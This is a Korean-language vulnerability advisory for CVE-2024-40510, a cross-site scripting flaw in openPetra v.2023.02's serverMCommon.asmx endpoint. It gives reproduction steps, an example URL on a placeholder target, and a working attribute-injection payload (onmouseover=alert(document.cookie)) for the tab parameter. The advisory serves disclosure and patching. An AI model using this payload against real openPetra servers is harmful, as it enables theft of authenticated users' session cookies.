CVE-2024-40510

openPetra v.2023.02의 서버MCommon.asmx 함수를 통한 사이트 간 스크립팅 취약점

설명: 인증되지 않은 사용자가 openPetra v.2023.02의 serverMCommon.asmx 함수를 통한 XSS를 악용하여 인증된 사용자의 쿠키를 탈취할 수 있습니다.

취약한 제품 버전: openPetra v.2023.02
CVE 작성자: Jansen Moreira 날짜: 2024-07-13
CVE: CVE-2024-40510
CVE 링크: https://www.cve.org/CVERecord?id=CVE-2024-40510
NVD 링크: https://nvd.nist.gov/vuln/detail/CVE-2024-40510
Tenable 링크: https://www.tenable.com/cve/CVE-2024-40510
확인 날짜: 2024-07-13
테스트 환경: Linux

재현 단계:

1- 홈 페이지에 접속합니다.
2- 다음 경로를 사용하고 tab 매개변수에 xss 페이로드를 추가합니다. 예: http://target.com/api/serverMCommon.asmx?bnd=TMCommonWebServiceSoap&op=TFormTemplatesWebConnector_UploadFinanceFormTemplate&page=op&tab=x
3- 마우스를 왼쪽 인덱스 항목 위로 가져가 XSS를 트리거합니다.

페이로드:
tab: x" onmouseover=alert(document.cookie) x="

발견자/크레딧: Jansen Moreira